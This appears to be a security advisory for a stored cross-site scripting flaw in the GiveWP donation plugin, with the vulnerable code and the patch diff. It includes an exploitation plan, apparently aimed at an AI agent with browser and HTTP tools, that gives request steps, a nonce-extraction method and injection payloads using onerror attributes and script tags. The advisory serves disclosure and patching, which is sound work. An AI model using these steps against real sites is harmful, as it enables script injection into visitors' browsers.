CVE-2026-13704

GiveWP <= 4.16.1 - Authenticated (Give Worker+) Stored Cross-Site Scripting via Sequioa Form

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
4.16.2
Patched in
7d
Time to patch

Description

The GiveWP – Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'sequoia[introduction][image]' parameter in all versions up to, and including, 4.16.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Give Worker-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=4.16.1
PublishedJuly 1, 2026
Last updatedJuly 8, 2026
Affected plugingive

What Changed in the Fix

Changes introduced in v4.16.2

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-13704 (GiveWP Stored XSS) ## 1. Vulnerability Summary GiveWP (<= 4.16.1) contains a Stored Cross-Site Scripting (XSS) vulnerability in the "Sequoia" form template. The vulnerability occurs because the plugin fails to sanitize or escape the image URL parameter …

Show full research plan

Exploitation Research Plan: CVE-2026-13704 (GiveWP Stored XSS)

1. Vulnerability Summary

GiveWP (<= 4.16.1) contains a Stored Cross-Site Scripting (XSS) vulnerability in the "Sequoia" form template. The vulnerability occurs because the plugin fails to sanitize or escape the image URL parameter (sequoia[introduction][image]) when rendering the introduction section of a donation form. An authenticated attacker with "Give Worker" permissions (or higher) can inject arbitrary JavaScript, which executes in the context of any user (including administrators) viewing the donation form.

2. Attack Vector Analysis

  • Endpoint: WordPress REST API or Admin Form Save.
  • Vulnerable Parameter: sequoia[introduction][image] (within the form configuration object).
  • Authentication Required: Authenticated ("Give Worker" role or higher). Give Worker is a custom role provided by GiveWP.
  • Preconditions: A donation form must be created using the "Sequoia" template.
  • Sink: src/Views/Form/Templates/Sequoia/sections/introduction.php

3. Code Flow

  1. Input: The attacker sends a request to update a GiveWP donation form. The payload is placed in the nested structure sequoia -> introduction -> image.
  2. Storage: The plugin updates the form settings, likely stored as post metadata under the _give_form_settings or _give_sequoia_template_settings (inferred) key for the give_forms post type.
  3. Retrieval: When a donation form is viewed, the Give\Form\Templates\Sequoia class (inferred from file structure) retrieves these settings.
  4. Rendering: The file src/Views/Form/Templates/Sequoia/sections/introduction.php is loaded.
  5. Execution (Sink): At lines 31-35:
    if ( ! empty($image)) : ?>
        <div class="image">
            <img src="<?php
            echo $image; ?>" />
        </div>
    <?php
    endif; ?>
    
    The variable $image is echoed directly into the src attribute without esc_url() or esc_attr().

4. Nonce Acquisition Strategy

GiveWP's Visual Form Builder and modern templates primarily interact via the WordPress REST API. To exploit this, the agent must obtain a wp_rest nonce.

  1. Shortcode Identification: The Sequoia template is used for forms rendered via the [give_form] shortcode or the dedicated GiveWP Form block.
  2. Page Creation:
    • Create a page with the Sequoia form: wp post create --post_type=page --post_title="Donate" --post_status=publish --post_content='[give_form id="FOR_ID"]'
  3. Nonce Extraction:
    • Navigate to the WordPress Admin dashboard as a Give Worker.
    • Use browser_eval to extract the REST nonce from the global wpApiSettings object (standard WordPress) or GiveWP's localized data.
    • Target Variable: window.wpApiSettings.nonce or window.give_vars.nonce (inferred).

5. Exploitation Strategy

The goal is to update an existing donation form's configuration to include a malicious onerror attribute in the image tag.

Step 1: Identify Form ID

List existing forms to find a target:
wp post list --post_type=give_forms

Step 2: Inject Payload

Use the http_request tool to update the form via the REST API.

  • Method: POST
  • URL: /wp-json/give-api/v2/forms/{ID} (Note: The exact V2/V3 endpoint path should be verified via wp-json discovery).
  • Headers:
    • X-WP-Nonce: [EXTRACTED_NONCE]
    • Content-Type: application/json
  • Payload:
    {
      "settings": {
        "template": "sequoia",
        "sequoia": {
          "introduction": {
            "image": "x\" onerror=\"alert(document.domain)\""
          }
        }
      }
    }
    
    Note: If the REST API structure differs, the fallback is to use the Admin save_post hook via a multipart/form-data POST to /wp-admin/post.php.

Step 3: Trigger XSS

Navigate to the frontend page where the form is published.

  • URL: /?post_type=give_forms&p={ID} or the page created in Step 4.

6. Test Data Setup

  1. User Role: Create a user with the Give Worker role.
    wp user create attacker attacker@example.com --role=give_worker --user_pass=password
  2. Form Creation: Create a donation form using the Sequoia template.
    wp post create --post_type=give_forms --post_title="XSS Test Form" --post_status=publish
    wp post meta update [NEW_ID] _give_form_template sequoia
  3. Landing Page: Ensure a page exists to view the form.

7. Expected Results

  • The HTTP response for the update should return 200 OK.
  • When viewing the form, the HTML source should contain:
    <img src="x" onerror="alert(document.domain)" />
  • A JavaScript alert box should appear in the browser.

8. Verification Steps

After the HTTP request, verify the injection in the database:
wp post meta get [ID] [META_KEY_FOUND_DURING_RESEARCH]
(Likely _give_form_settings)

Check if the payload is present in the serialized or JSON data:
wp post meta get [ID] _give_form_settings | grep "onerror"

9. Alternative Approaches

If the REST API requires higher privileges than Give Worker, use the Metabox save route:

  1. Endpoint: POST /wp-admin/post.php
  2. Body:
    • action=editpost
    • post_ID=[ID]
    • _give_form_template=sequoia
    • sequoia[introduction][image]=x" onerror="alert(1)"
    • _wpnonce=[NONCE_FROM_EDIT_PAGE]

If onerror is filtered by a firewall, use a simple tag breakout:
"><script>alert(1)</script> which would result in:
<img src=""><script>alert(1)</script>" /> (broken but effective).

Research Findings
Static analysis — not yet PoC-verified

Summary

The GiveWP plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via the Sequoia form template in versions up to 4.16.1. This is caused by a failure to sanitize and escape the introduction image URL before rendering it in the form's HTML, allowing authenticated attackers with Give Worker-level access or higher to execute arbitrary scripts in the browsers of users viewing the form.

Vulnerable Code

// src/Views/Form/Templates/Sequoia/sections/introduction.php:33
    <?php
    if ( ! empty($image)) : ?>
        <div class="image">
            <img src="<?php
            echo $image; ?>" />
        </div>
    <?php
    endif; ?>

---

// includes/forms/template.php:2038
	<div class="give-submit-button-wrap give-clearfix">
		<input type="submit" class="give-submit give-btn" id="give-purchase-button" name="give-purchase"
			   value="<?php echo $display_label; ?>" data-before-validation-label="<?php echo $display_label; ?>"/>
		<span class="give-loading-animation"></span>
	</div>

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/give/4.16.1/changelog.txt /home/deploy/wp-safety.org/data/plugin-versions/give/4.16.2/changelog.txt
--- /home/deploy/wp-safety.org/data/plugin-versions/give/4.16.1/changelog.txt	2026-06-29 13:55:54.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/give/4.16.2/changelog.txt	2026-07-01 15:01:16.000000000 +0000
@@ -1,5 +1,8 @@
 == Changelog ==
 
+= 4.16.2: July 1st, 2026 =
+* Security: Added additional escaping and sanitization to the Sequoia (Multi-Step Form) template settings and donation form markup (CVE-2026-13704).
+
 = 4.16.1: June 29th, 2026 =
 * Security: Standardized email access confirmation AJAX responses to prevent distinguishable server responses.
 * Security: Added additional escaping and sanitization to the Campaign Comments block and shortcode attributes (CVE-2026-13246).
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/give/4.16.1/give.php /home/deploy/wp-safety.org/data/plugin-versions/give/4.16.2/give.php
--- /home/deploy/wp-safety.org/data/plugin-versions/give/4.16.1/give.php	2026-06-29 13:55:54.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/give/4.16.2/give.php	2026-07-01 15:01:16.000000000 +0000
@@ -6,7 +6,7 @@
  * Description: The most robust, flexible, and intuitive way to accept donations on WordPress.
  * Author: GiveWP
  * Author URI: https://givewp.com/
- * Version: 4.16.1
+ * Version: 4.16.2
  * Requires at least: 6.6
  * Requires PHP: 7.4
  * Text Domain: give
@@ -426,7 +426,7 @@
     {
         // Plugin version.
         if (!defined('GIVE_VERSION')) {
-            define('GIVE_VERSION', '4.16.1');
+            define('GIVE_VERSION', '4.16.2');
         }
 
         // Plugin Root File.
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/give/4.16.1/includes/admin/forms/class-metabox-form-data.php /home/deploy/wp-safety.org/data/plugin-versions/give/4.16.2/includes/admin/forms/class-metabox-form-data.php
--- /home/deploy/wp-safety.org/data/plugin-versions/give/4.16.1/includes/admin/forms/class-metabox-form-data.php	2025-05-21 20:18:30.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/give/4.16.2/includes/admin/forms/class-metabox-form-data.php	2026-07-01 15:01:16.000000000 +0000
@@ -1095,6 +1095,8 @@
 	/**
 	 * Save form template setting handler
 	 *
+	 * @since 4.16.2 Normalize file field values as URLs when saving form template settings.
+	 *
 	 * @param string $meta_key
 	 * @param string $new_template
 	 * @param int    $formID
@@ -1145,6 +1147,10 @@
 						$value = $options[ $group->id ][ $field->id ];
 						break;
 
+					case 'file':
+						$value = esc_url_raw( $options[ $group->id ][ $field->id ] );
+						break;
+
 					case 'group':
 						/* @var \Give\FormAPI\Form\Group $field */
 						foreach ( $options[ $group->id ][ $field->id ] as $index => $subFields ) {
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/give/4.16.1/includes/forms/template.php /home/deploy/wp-safety.org/data/plugin-versions/give/4.16.2/includes/forms/template.php
--- /home/deploy/wp-safety.org/data/plugin-versions/give/4.16.1/includes/forms/template.php	2025-09-17 16:52:40.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/give/4.16.2/includes/forms/template.php	2026-07-01 15:01:16.000000000 +0000
@@ -2021,11 +2021,13 @@
 /**
  * Give Donation form submit button.
  *
+ * @since 4.16.2 Escape submit button label in form markup.
+ * @since  1.8.8
+ *
  * @param int   $form_id The form ID.
  * @param array $args
  *
  * @return string
- * @since  1.8.8
  */
 function give_get_donation_form_submit_button( $form_id, $args = [] ) {
 
@@ -2036,7 +2038,7 @@
 	?>
 	<div class="give-submit-button-wrap give-clearfix">
 		<input type="submit" class="give-submit give-btn" id="give-purchase-button" name="give-purchase"
-			   value="<?php echo $display_label; ?>" data-before-validation-label="<?php echo $display_label; ?>"/>
+			   value="<?php echo esc_attr( $display_label ); ?>" data-before-validation-label="<?php echo esc_attr( $display_label ); ?>"/>
 		<span class="give-loading-animation"></span>
 	</div>
 	<?php
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/give/4.16.1/languages/give.pot /home/deploy/wp-safety.org/data/plugin-versions/give/4.16.2/languages/give.pot
--- /home/deploy/wp-safety.org/data/plugin-versions/give/4.16.1/languages/give.pot	2026-06-29 13:55:54.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/give/4.16.2/languages/give.pot	2026-07-01 15:01:16.000000000 +0000
@@ -2,14 +2,14 @@
 # This file is distributed under the same license as the Give - Donation Plugin plugin.
 msgid ""
 msgstr ""
-"Project-Id-Version: Give - Donation Plugin 4.16.1\n"
+"Project-Id-Version: Give - Donation Plugin 4.16.2\n"
 "Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/givewp\n"
 "Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
 "Language-Team: LANGUAGE <LL@li.org>\n"
 "MIME-Version: 1.0\n"
 "Content-Type: text/plain; charset=UTF-8\n"
 "Content-Transfer-Encoding: 8bit\n"
-"POT-Creation-Date: 2026-06-29T13:49:57+00:00\n"
+"POT-Creation-Date: 2026-07-01T14:53:55+00:00\n"
 "PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
 "X-Generator: WP-CLI 2.12.0\n"
 "X-Domain: give\n"
@@ -133,7 +133,7 @@
 #: build/Campaigns/Blocks/CampaignForm/render.php:26
 #: includes/forms/template.php:695
 #: includes/forms/template.php:725
-#: includes/forms/template.php:2034
+#: includes/forms/template.php:2036
 #: includes/forms/widget.php:172
 #: includes/gateways/stripe/includes/give-stripe-scripts.php:54
 #: includes/shortcodes.php:658
@@ -2892,7 +2892,7 @@
 msgid "Goal Statistics"
 msgstr ""
 
-#: includes/admin/forms/class-metabox-form-data.php:1416
+#: includes/admin/forms/class-metabox-form-data.php:1422
 #: includes/admin/settings/class-settings-gateways.php:229
 #: includes/gateways/offline-donations.php:41
 #: includes/gateways/offline-donations.php:82
@@ -14556,7 +14556,7 @@
 msgid "Hide Terms"
 msgstr ""
 
-#: includes/forms/template.php:2303
+#: includes/forms/template.php:2305
 #: includes/gateways/stripe/includes/class-give-stripe-gateway.php:121
 #: includes/gateways/stripe/includes/class-give-stripe-gateway.php:132
 #: includes/gateways/stripe/includes/class-give-stripe-gateway.php:143
@@ -14569,11 +14569,11 @@
 msgid "Notice:"
 msgstr ""
 
-#: includes/forms/template.php:2303
+#: includes/forms/template.php:2305
 msgid "Test mode is enabled. While in test mode no live donations are processed."
 msgstr ""
 
-#: includes/forms/template.php:2332
+#: includes/forms/template.php:2334
 msgid "Please log in in order to complete your donation."
 msgstr ""
 
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/give/4.16.1/readme.txt /home/deploy/wp-safety.org/data/plugin-versions/give/4.16.2/readme.txt
--- /home/deploy/wp-safety.org/data/plugin-versions/give/4.16.1/readme.txt	2026-06-29 13:55:54.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/give/4.16.2/readme.txt	2026-07-01 15:01:16.000000000 +0000
@@ -5,7 +5,7 @@
 Requires at least: 6.6
 Tested up to: 7.0
 Requires PHP: 7.4
-Stable tag: 4.16.1
+Stable tag: 4.16.2
 License: GPLv3
 License URI: http://www.gnu.org/licenses/gpl-3.0.html
 
@@ -273,6 +273,9 @@
 10. Use almost any payment gateway integration with GiveWP through our add-ons or by creating your own add-on.
 
 == Changelog ==
+= 4.16.2: July 1st, 2026 =
+* Security: Added additional escaping and sanitization to the Sequoia (Multi-Step Form) template settings and donation form markup (CVE-2026-13704).
+
 = 4.16.1: June 29th, 2026 =
 * Security: Standardized email access confirmation AJAX responses to prevent distinguishable server responses.
 * Security: Added additional escaping and sanitization to the Campaign Comments block and shortcode attributes (CVE-2026-13246).
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/give/4.16.1/src/Views/Form/Templates/Sequoia/sections/introduction.php /home/deploy/wp-safety.org/data/plugin-versions/give/4.16.2/src/Views/Form/Templates/Sequoia/sections/introduction.php
--- /home/deploy/wp-safety.org/data/plugin-versions/give/4.16.1/src/Views/Form/Templates/Sequoia/sections/introduction.php	2021-11-23 23:55:18.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/give/4.16.2/src/Views/Form/Templates/Sequoia/sections/introduction.php	2026-07-01 15:01:16.000000000 +0000
@@ -1,5 +1,9 @@
 <?php
 
+/**
+ * @since 4.16.2 Escape introduction image URL when rendering the template.
+ */
+
 use Give\Helpers\Form\Template\Utils\Frontend as FrontendFormTemplateUtils;
 
 $formInfo = get_post(FrontendFormTemplateUtils::getFormId());
@@ -30,8 +34,7 @@
     <?php
     if ( ! empty($image)) : ?>
         <div class="image">
-            <img src="<?php
-            echo $image; ?>" />
+            <img src="<?php echo esc_url( $image ); ?>" />
         </div>
     <?php
     endif; ?>
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/give/4.16.1/vendor/composer/installed.php /home/deploy/wp-safety.org/data/plugin-versions/give/4.16.2/vendor/composer/installed.php
--- /home/deploy/wp-safety.org/data/plugin-versions/give/4.16.1/vendor/composer/installed.php	2026-06-29 13:55:54.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/give/4.16.2/vendor/composer/installed.php	2026-07-01 15:01:16.000000000 +0000
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'impress-org/give',
-        'pretty_version' => '4.16.1',
-        'version' => '4.16.1.0',
-        'reference' => 'fdda404b7e9d021966f10cb0da1e6b58bd88ec3c',
+        'pretty_version' => '4.16.2',
+        'version' => '4.16.2.0',
+        'reference' => '22eba7d49d574a629258cdd18ed14e0f2595eb66',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -20,9 +20,9 @@
             'dev_requirement' => false,
         ),
         'impress-org/give' => array(
-            'pretty_version' => '4.16.1',
-            'version' => '4.16.1.0',
-            'reference' => 'fdda404b7e9d021966f10cb0da1e6b58bd88ec3c',
+            'pretty_version' => '4.16.2',
+            'version' => '4.16.2.0',
+            'reference' => '22eba7d49d574a629258cdd18ed14e0f2595eb66',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

Exploit Outline

The exploit requires authentication with the 'Give Worker' role (or higher). An attacker targets a donation form utilizing the 'Sequoia' template. Using either the WordPress REST API (e.g., `POST /wp-json/give-api/v2/forms/{ID}`) or the admin dashboard form-save endpoint, the attacker submits a request containing a malicious XSS payload (e.g., `x" onerror="alert(document.domain)"`) within the `sequoia[introduction][image]` parameter. This payload is stored in the form's metadata. When any user subsequently views the affected donation form, the malicious script is rendered into the `src` attribute of an `<img>` tag without escaping, triggering the execution of the injected JavaScript.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.